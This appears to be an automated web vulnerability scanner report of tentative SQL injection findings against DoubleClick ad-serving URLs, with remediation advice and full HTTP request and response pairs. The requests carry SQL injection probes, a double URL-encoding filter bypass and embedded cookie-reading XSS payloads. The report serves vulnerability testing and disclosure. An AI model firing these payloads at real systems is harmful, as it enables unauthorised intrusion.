Cross Site Scripting, PoC, SQL Injection, Vulnerable Host Report

SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.

Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.

Issue remediation

The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.

You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:

One common defense is to double up any single quotation marks appearing within user input before incorporating that input into a SQL query. This defense is designed to prevent malformed data from terminating the string in which it is inserted. However, if the data being incorporated into queries is numeric, then the defense may fail, because numeric data may not be encapsulated within quotes, in which case only a space is required to break out of the data context and interfere with the query. Further, in second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that have been doubled up initially will return to their original form when the data is reused, allowing the defense to be bypassed.
Another often cited defense is to use stored procedures for database access. While stored procedures can provide security benefits, they are not guaranteed to prevent SQL injection attacks. The same kinds of vulnerabilities that arise within standard dynamic SQL queries can arise if any SQL is dynamically constructed within stored procedures. Further, even if the procedure is sound, SQL injection can arise if the procedure is invoked in an unsafe manner using user-controllable data.

1.1. http://ad.doubleclick.net/adi/N5875.270604.B3/B5111946.91 [name of an arbitrarily supplied request parameter] next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://ad.doubleclick.net
Path:	/adi/N5875.270604.B3/B5111946.91

Issue detail

The name of an arbitrarily supplied request parameter appears to be vulnerable to SQL injection attacks. The payloads %20and%201%3d1--%20 and %20and%201%3d2--%20 were each submitted in the name of an arbitrarily supplied request parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /adi/N5875.270604.B3/B5111946.91;sz=120x600;pc=[TPAS_ID];ord=[timestamp]?&1%20and%201%3d1--%20=1 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://cdn.w55c.net/i/0Rw6qcLcmo_34070076.html?rtbhost=rts-rr14.sldc.dataxu.net&btid=NEQzRTI4RUUwMDAxOTA1QjBBRTU2N0Q4MjBFNzcxQkV8ZWMxNTA4OWUtNjFiYi00Y2FmLTkzZTItNTIwNGU4NTNlZDI3fDEyOTU5MTkzNDM3NTl8MXwwRmVYbGtHVmN4fDBSdzZxY0xjbW98ODg5NTY1MzE3fA&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TT4o7gABkFsK5WfYIOdxvqDxBisV1iCr7MNZGg&euid=Q0FFU0VDSUFxLVBVbW8yVVJpZkRFMzFLLTJB&slotid=MQ&fiu=MEZlWGxrR1ZjeA&ciu=MFJ3NnFjTGNtbw&reqid=NEQzRTI4RUUwMDAxOTA1QjBBRTU2N0Q4MjBFNzcxQkU&ccw=SUFCMTkjMC4wfElBQjE1IzAuMHxJQUIxOSMwLjB8SUFCMTUjMC4w&epid=&bp=158&dv=&dm=&os=&scres=&gen=&age=&zc=NzUyMDc&s=http%3A%2F%2Fjoomlacode.org%2Fgf%2Fproject%2Fjoomla%2Freporting%2F&refurl=
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc

Response 1

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Content-Length: 1049
Cache-Control: no-cache
Pragma: no-cache
Date: Tue, 25 Jan 2011 04:25:26 GMT
Expires: Tue, 25 Jan 2011 04:25:26 GMT

<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Template Id = 13,009 Template Name = Image Banner - Open in New Window -
...[SNIP]...
<a href="http://ad.doubleclick.net/click%3Bh%3Dv8/3a9a/3/0/%2a/b%3B233909482%3B1-0%3B0%3B58746736%3B933-120/600%3B38657313/38675070/1%3B%3B%7Eokv%3D%3Bpc%3D%5BTPAS_ID%5D%3B%3B%7Esscs%3D%3fhttp://t.mookie1.com/t/v1/clk?migAgencyId=111&migSource=adsrv2&migTrackDataExt=2356384;58746736;233909482;38657313&migRandom=3942724&migTrackFmtExt=client;io;ad;crtv&migUnencodedDest=http://www.dominos.com/&utm_source=Banner&utm_medium=DPZ_Mbanner&utm_content=NoPromo&utm_campaign=MindshareBanner" target="_blank">
<img width="120" height="600" border="0" src="http://s0.2mdn.net/2356384/2-N7_Specialty_120x600.jpg">
</a>
<img src="http://t.mookie1.com/t/v1/imp?%25&migAgencyId=111&migSource=adsrv2&migTrackDataExt=2356384;58746736;233909482;38657313&migRandom=3942724&migTrackFmtExt=client;io;ad;crtv" width="0" height="0" border="0" />
</body></html>

Request 2

GET /adi/N5875.270604.B3/B5111946.91;sz=120x600;pc=[TPAS_ID];ord=[timestamp]?&1%20and%201%3d2--%20=1 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://cdn.w55c.net/i/0Rw6qcLcmo_34070076.html?rtbhost=rts-rr14.sldc.dataxu.net&btid=NEQzRTI4RUUwMDAxOTA1QjBBRTU2N0Q4MjBFNzcxQkV8ZWMxNTA4OWUtNjFiYi00Y2FmLTkzZTItNTIwNGU4NTNlZDI3fDEyOTU5MTkzNDM3NTl8MXwwRmVYbGtHVmN4fDBSdzZxY0xjbW98ODg5NTY1MzE3fA&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TT4o7gABkFsK5WfYIOdxvqDxBisV1iCr7MNZGg&euid=Q0FFU0VDSUFxLVBVbW8yVVJpZkRFMzFLLTJB&slotid=MQ&fiu=MEZlWGxrR1ZjeA&ciu=MFJ3NnFjTGNtbw&reqid=NEQzRTI4RUUwMDAxOTA1QjBBRTU2N0Q4MjBFNzcxQkU&ccw=SUFCMTkjMC4wfElBQjE1IzAuMHxJQUIxOSMwLjB8SUFCMTUjMC4w&epid=&bp=158&dv=&dm=&os=&scres=&gen=&age=&zc=NzUyMDc&s=http%3A%2F%2Fjoomlacode.org%2Fgf%2Fproject%2Fjoomla%2Freporting%2F&refurl=
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc

Response 2

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Content-Length: 1118
Cache-Control: no-cache
Pragma: no-cache
Date: Tue, 25 Jan 2011 04:25:26 GMT
Expires: Tue, 25 Jan 2011 04:25:26 GMT

<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Template Id = 13,009 Template Name = Image Banner - Open in New Window -
...[SNIP]...
<a href="http://ad.doubleclick.net/click%3Bh%3Dv8/3a9a/3/0/%2a/e%3B233909482%3B0-0%3B0%3B58746736%3B933-120/600%3B37406893/37424770/1%3B%3B%7Eokv%3D%3Bpc%3D%5BTPAS_ID%5D%3B%3B%7Esscs%3D%3fhttp://t.mookie1.com/t/v1/clk?migAgencyId=111&migSource=adsrv2&migTrackDataExt=2356384;58746736;233909482;37406893&migRandom=3942755&migTrackFmtExt=client;io;ad;crtv&migUnencodedDest=http://express.dominos.com/pages/track.jsp?target=promocode&promocode=BANNQ7WN3&utm_source=Banner&utm_medium=DPZ_Mbanner&utm_content=ban_BANNQ7WN3&utm_campaign=MindshareBanner" target="_blank">
<img width="120" height="600" border="0" src="http://s0.2mdn.net/2356384/N5_5.99_OrderThisDeal_120x600.jpg">
</a>
<img src="http://t.mookie1.com/t/v1/imp?%25&migAgencyId=111&migSource=adsrv2&migTrackDataExt=2356384;58746736;233909482;37406893&migRandom=3942755&migTrackFmtExt=client;io;ad;crtv" width="0" height="0" border="0" />
</body></html>

1.2. http://ad.doubleclick.net/adi/N5875.270604.B3/B5111946.91 [sz parameter] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://ad.doubleclick.net
Path:	/adi/N5875.270604.B3/B5111946.91

Issue detail

The sz parameter appears to be vulnerable to SQL injection attacks. The payloads '%20and%201%3d1--%20 and '%20and%201%3d2--%20 were each submitted in the sz parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Note that automated difference-based tests for SQL injection flaws can often be unreliable and are prone to false positive results. You should manually review the reported requests and responses to confirm whether a vulnerability is actually present.

Request 1

GET /adi/N5875.270604.B3/B5111946.91;sz=120x600;pc=[TPAS_ID];ord=[timestamp]?'%20and%201%3d1--%20 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://cdn.w55c.net/i/0Rw6qcLcmo_34070076.html?rtbhost=rts-rr14.sldc.dataxu.net&btid=NEQzRTI4RUUwMDAxOTA1QjBBRTU2N0Q4MjBFNzcxQkV8ZWMxNTA4OWUtNjFiYi00Y2FmLTkzZTItNTIwNGU4NTNlZDI3fDEyOTU5MTkzNDM3NTl8MXwwRmVYbGtHVmN4fDBSdzZxY0xjbW98ODg5NTY1MzE3fA&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TT4o7gABkFsK5WfYIOdxvqDxBisV1iCr7MNZGg&euid=Q0FFU0VDSUFxLVBVbW8yVVJpZkRFMzFLLTJB&slotid=MQ&fiu=MEZlWGxrR1ZjeA&ciu=MFJ3NnFjTGNtbw&reqid=NEQzRTI4RUUwMDAxOTA1QjBBRTU2N0Q4MjBFNzcxQkU&ccw=SUFCMTkjMC4wfElBQjE1IzAuMHxJQUIxOSMwLjB8SUFCMTUjMC4w&epid=&bp=158&dv=&dm=&os=&scres=&gen=&age=&zc=NzUyMDc&s=http%3A%2F%2Fjoomlacode.org%2Fgf%2Fproject%2Fjoomla%2Freporting%2F&refurl=
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc

Response 1

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Content-Length: 1055
Cache-Control: no-cache
Pragma: no-cache
Date: Tue, 25 Jan 2011 04:25:25 GMT
Expires: Tue, 25 Jan 2011 04:25:25 GMT

<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Template Id = 13,009 Template Name = Image Banner - Open in New Window -
...[SNIP]...
<a href="http://ad.doubleclick.net/click%3Bh%3Dv8/3a9a/3/0/%2a/o%3B233909482%3B2-0%3B0%3B58746736%3B933-120/600%3B40379675/40397462/1%3B%3B%7Eokv%3D%3Bpc%3D%5BTPAS_ID%5D%3B%3B%7Esscs%3D%3fhttp://t.mookie1.com/t/v1/clk?migAgencyId=111&migSource=adsrv2&migTrackDataExt=2356384;58746736;233909482;40379675&migRandom=3941709&migTrackFmtExt=client;io;ad;crtv&migUnencodedDest=http://www.dominos.com/&utm_source=Banner&utm_medium=DPZ_Mbanner&utm_content=NoPromo&utm_campaign=MindshareBanner" target="_blank">
<img width="120" height="600" border="0" src="http://s0.2mdn.net/2356384/1-Zeus_Dom_SuperBowl_120x600.gif">
</a>
<img src="http://t.mookie1.com/t/v1/imp?%25&migAgencyId=111&migSource=adsrv2&migTrackDataExt=2356384;58746736;233909482;40379675&migRandom=3941709&migTrackFmtExt=client;io;ad;crtv" width="0" height="0" border="0" />
</body></html>

Request 2

GET /adi/N5875.270604.B3/B5111946.91;sz=120x600;pc=[TPAS_ID];ord=[timestamp]?'%20and%201%3d2--%20 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://cdn.w55c.net/i/0Rw6qcLcmo_34070076.html?rtbhost=rts-rr14.sldc.dataxu.net&btid=NEQzRTI4RUUwMDAxOTA1QjBBRTU2N0Q4MjBFNzcxQkV8ZWMxNTA4OWUtNjFiYi00Y2FmLTkzZTItNTIwNGU4NTNlZDI3fDEyOTU5MTkzNDM3NTl8MXwwRmVYbGtHVmN4fDBSdzZxY0xjbW98ODg5NTY1MzE3fA&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TT4o7gABkFsK5WfYIOdxvqDxBisV1iCr7MNZGg&euid=Q0FFU0VDSUFxLVBVbW8yVVJpZkRFMzFLLTJB&slotid=MQ&fiu=MEZlWGxrR1ZjeA&ciu=MFJ3NnFjTGNtbw&reqid=NEQzRTI4RUUwMDAxOTA1QjBBRTU2N0Q4MjBFNzcxQkU&ccw=SUFCMTkjMC4wfElBQjE1IzAuMHxJQUIxOSMwLjB8SUFCMTUjMC4w&epid=&bp=158&dv=&dm=&os=&scres=&gen=&age=&zc=NzUyMDc&s=http%3A%2F%2Fjoomlacode.org%2Fgf%2Fproject%2Fjoomla%2Freporting%2F&refurl=
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc

Response 2

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Content-Length: 1118
Cache-Control: no-cache
Pragma: no-cache
Date: Tue, 25 Jan 2011 04:25:25 GMT
Expires: Tue, 25 Jan 2011 04:25:25 GMT

<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Template Id = 13,009 Template Name = Image Banner - Open in New Window -
...[SNIP]...
<a href="http://ad.doubleclick.net/click%3Bh%3Dv8/3a9a/3/0/%2a/e%3B233909482%3B0-0%3B0%3B58746736%3B933-120/600%3B37406893/37424770/1%3B%3B%7Eokv%3D%3Bpc%3D%5BTPAS_ID%5D%3B%3B%7Esscs%3D%3fhttp://t.mookie1.com/t/v1/clk?migAgencyId=111&migSource=adsrv2&migTrackDataExt=2356384;58746736;233909482;37406893&migRandom=3941771&migTrackFmtExt=client;io;ad;crtv&migUnencodedDest=http://express.dominos.com/pages/track.jsp?target=promocode&promocode=BANNQ7WN3&utm_source=Banner&utm_medium=DPZ_Mbanner&utm_content=ban_BANNQ7WN3&utm_campaign=MindshareBanner" target="_blank">
<img width="120" height="600" border="0" src="http://s0.2mdn.net/2356384/N5_5.99_OrderThisDeal_120x600.jpg">
</a>
<img src="http://t.mookie1.com/t/v1/imp?%25&migAgencyId=111&migSource=adsrv2&migTrackDataExt=2356384;58746736;233909482;37406893&migRandom=3941771&migTrackFmtExt=client;io;ad;crtv" width="0" height="0" border="0" />
</body></html>

1.3. http://googleads.g.doubleclick.net/pagead/ads [frm parameter] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The frm parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the frm parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of the frm request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request 1

GET /pagead/ads?client=ca-pub-6071864913982699&format=336x280_as&output=html&h=280&w=336&lmt=1295924961&alternate_ad_url=http%3A%2F%2Fwww.stands4.com%2Falternate.html&color_bg=FFFFFF&color_border=FFFFFF&color_link=000055&color_text=000000&color_url=550000&flash=10.1.103&url=http%3A%2F%2Fwww.abbreviations.com%2Fbs.aspx%3Fst%3Db1.aspx51536%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E7a00ceef170%26SE%3D3%26r%3D1&dt=1295903361302&shv=r20101117&jsv=r20110120&saldr=1&correlator=1295903361405&frm=0%2527&adk=1370815790&ga_vid=1564661048.1295903333&ga_sid=1295903333&ga_hid=302104693&ga_fc=1&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=1155&bih=1012&eid=30143102&ref=http%3A%2F%2Fburp%2Fshow%2F32&fu=0&ifi=1&dtd=126&xpc=ffdvLBmcAw&p=http%3A//www.abbreviations.com HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.abbreviations.com/bs.aspx?st=b1.aspx51536%3Cscript%3Ealert(document.cookie)%3C/script%3E7a00ceef170&SE=3&r=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc

Response 1

HTTP/1.1 200 OK
P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Content-Type: text/html; charset=UTF-8
X-Content-Type-Options: nosniff
Date: Mon, 24 Jan 2011 22:12:39 GMT
Server: cafe
Cache-Control: private, x-gzip-ok=""
X-XSS-Protection: 1; mode=block
Content-Length: 13853

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><style>a:link,a:visited,a:hover,a:active{color:#000055;cursor:pointer;}body,table,div,ul,li{font-s
...[SNIP]...
wdCUzRWFsZXJ0KGRvY3VtZW50LmNvb2tpZSklM0Mvc2NyaXB0JTNFN2EwMGNlZWYxNzAmU0U9MyZyPTGoAwHIAxfoA8IE6AO0BfUDIAAAQA&num=4&sig=AGiWqtw2HA7p7UcuLOZQ1ROSxD-tGTYiiQ&client=ca-pub-6071864913982699&adurl=http://www.errorteck.com id=aw3 onclick="ha('aw3')" onfocus="ss('','aw3')" onmousedown="st('aw3')" onmouseover="return ss('','aw3')" target=_top title="www.ErrorTeck.com">
...[SNIP]...

Request 2

GET /pagead/ads?client=ca-pub-6071864913982699&format=336x280_as&output=html&h=280&w=336&lmt=1295924961&alternate_ad_url=http%3A%2F%2Fwww.stands4.com%2Falternate.html&color_bg=FFFFFF&color_border=FFFFFF&color_link=000055&color_text=000000&color_url=550000&flash=10.1.103&url=http%3A%2F%2Fwww.abbreviations.com%2Fbs.aspx%3Fst%3Db1.aspx51536%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E7a00ceef170%26SE%3D3%26r%3D1&dt=1295903361302&shv=r20101117&jsv=r20110120&saldr=1&correlator=1295903361405&frm=0%2527%2527&adk=1370815790&ga_vid=1564661048.1295903333&ga_sid=1295903333&ga_hid=302104693&ga_fc=1&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=1155&bih=1012&eid=30143102&ref=http%3A%2F%2Fburp%2Fshow%2F32&fu=0&ifi=1&dtd=126&xpc=ffdvLBmcAw&p=http%3A//www.abbreviations.com HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.abbreviations.com/bs.aspx?st=b1.aspx51536%3Cscript%3Ealert(document.cookie)%3C/script%3E7a00ceef170&SE=3&r=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc

Response 2

1.4. http://googleads.g.doubleclick.net/pagead/ads [ga_hid parameter] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The ga_hid parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the ga_hid parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /pagead/ads?client=ca-pub-6071864913982699&format=336x280_as&output=html&h=280&w=336&lmt=1295924961&alternate_ad_url=http%3A%2F%2Fwww.stands4.com%2Falternate.html&color_bg=FFFFFF&color_border=FFFFFF&color_link=000055&color_text=000000&color_url=550000&flash=10.1.103&url=http%3A%2F%2Fwww.abbreviations.com%2Fbs.aspx%3Fst%3Db1.aspx51536%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E7a00ceef170%26SE%3D3%26r%3D1&dt=1295903361302&shv=r20101117&jsv=r20110120&saldr=1&correlator=1295903361405&frm=0&adk=1370815790&ga_vid=1564661048.1295903333&ga_sid=1295903333&ga_hid=302104693'&ga_fc=1&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=1155&bih=1012&eid=30143102&ref=http%3A%2F%2Fburp%2Fshow%2F32&fu=0&ifi=1&dtd=126&xpc=ffdvLBmcAw&p=http%3A//www.abbreviations.com HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.abbreviations.com/bs.aspx?st=b1.aspx51536%3Cscript%3Ealert(document.cookie)%3C/script%3E7a00ceef170&SE=3&r=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc

Response 1

HTTP/1.1 200 OK
P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Content-Type: text/html; charset=UTF-8
X-Content-Type-Options: nosniff
Date: Mon, 24 Jan 2011 22:14:49 GMT
Server: cafe
Cache-Control: private, x-gzip-ok=""
X-XSS-Protection: 1; mode=block
Content-Length: 13686

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><style>a:link,a:visited,a:hover,a:active{color:#000055;cursor:pointer;}body,table,div,ul,li{font-s
...[SNIP]...
wdCUzRWFsZXJ0KGRvY3VtZW50LmNvb2tpZSklM0Mvc2NyaXB0JTNFN2EwMGNlZWYxNzAmU0U9MyZyPTGoAwHIAxfoA8IE6AO0BfUDIAAAQA&num=3&sig=AGiWqtxsXNzlLOrPb9U-w2HQFE7s4iob6Q&client=ca-pub-6071864913982699&adurl=http://www.errorteck.com id=aw2 onclick="ha('aw2')" onfocus="ss('','aw2')" onmousedown="st('aw2')" onmouseover="return ss('','aw2')" target=_top title="www.ErrorTeck.com">
...[SNIP]...

Request 2

GET /pagead/ads?client=ca-pub-6071864913982699&format=336x280_as&output=html&h=280&w=336&lmt=1295924961&alternate_ad_url=http%3A%2F%2Fwww.stands4.com%2Falternate.html&color_bg=FFFFFF&color_border=FFFFFF&color_link=000055&color_text=000000&color_url=550000&flash=10.1.103&url=http%3A%2F%2Fwww.abbreviations.com%2Fbs.aspx%3Fst%3Db1.aspx51536%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E7a00ceef170%26SE%3D3%26r%3D1&dt=1295903361302&shv=r20101117&jsv=r20110120&saldr=1&correlator=1295903361405&frm=0&adk=1370815790&ga_vid=1564661048.1295903333&ga_sid=1295903333&ga_hid=302104693''&ga_fc=1&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=1155&bih=1012&eid=30143102&ref=http%3A%2F%2Fburp%2Fshow%2F32&fu=0&ifi=1&dtd=126&xpc=ffdvLBmcAw&p=http%3A//www.abbreviations.com HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.abbreviations.com/bs.aspx?st=b1.aspx51536%3Cscript%3Ealert(document.cookie)%3C/script%3E7a00ceef170&SE=3&r=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc

Response 2

1.5. http://googleads.g.doubleclick.net/pagead/ads [h parameter] previous next

Summary

Severity:	High
Confidence:	Tentative
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The h parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the h parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The application attempts to block SQL injection attacks but this can be circumvented by double URL-encoding the blocked characters - for example, by submitting %2527 instead of the ' character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of the h request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request 1

GET /pagead/ads?client=ca-pub-3737471162188127&output=html&h=600%2527&slotname=3414113612&w=160&ea=0&flash=10.1.103&url=http%3A%2F%2Fwww.beirut.com%2Fcss%2Fblue%2F4429e%252527%25253balert%252528document.cookie%252529%25252f%25252f59f8c7185c5%2Fsearch-btn.gif&dt=1295922041953&shv=r20101117&jsv=r20110120&saldr=1&correlator=1295922041995&frm=1&adk=1261819541&ga_vid=478840491.1295922042&ga_sid=1295922042&ga_hid=1179528252&ga_fc=0&u_tz=-360&u_his=2&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=-12245933&bih=-12245933&ifk=3522672927&fu=0&ifi=1&dtd=287 HTTP/1.1
Host: googleads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://d1.openx.org/afr.php?n=a2bb8a70&zoneid=121960&target=_blank&cb=416587824
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc

Response 1

HTTP/1.1 200 OK
P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Content-Type: text/html; charset=UTF-8
X-Content-Type-Options: nosniff
Date: Tue, 25 Jan 2011 03:03:33 GMT
Server: cafe
Cache-Control: private, x-gzip-ok=""
X-XSS-Protection: 1; mode=block
Content-Length: 7952

<html><head></head><body leftMargin="0" topMargin="0" marginwidth="0" marginheight="0">
<!-- Code auto-generated on
...[SNIP]...
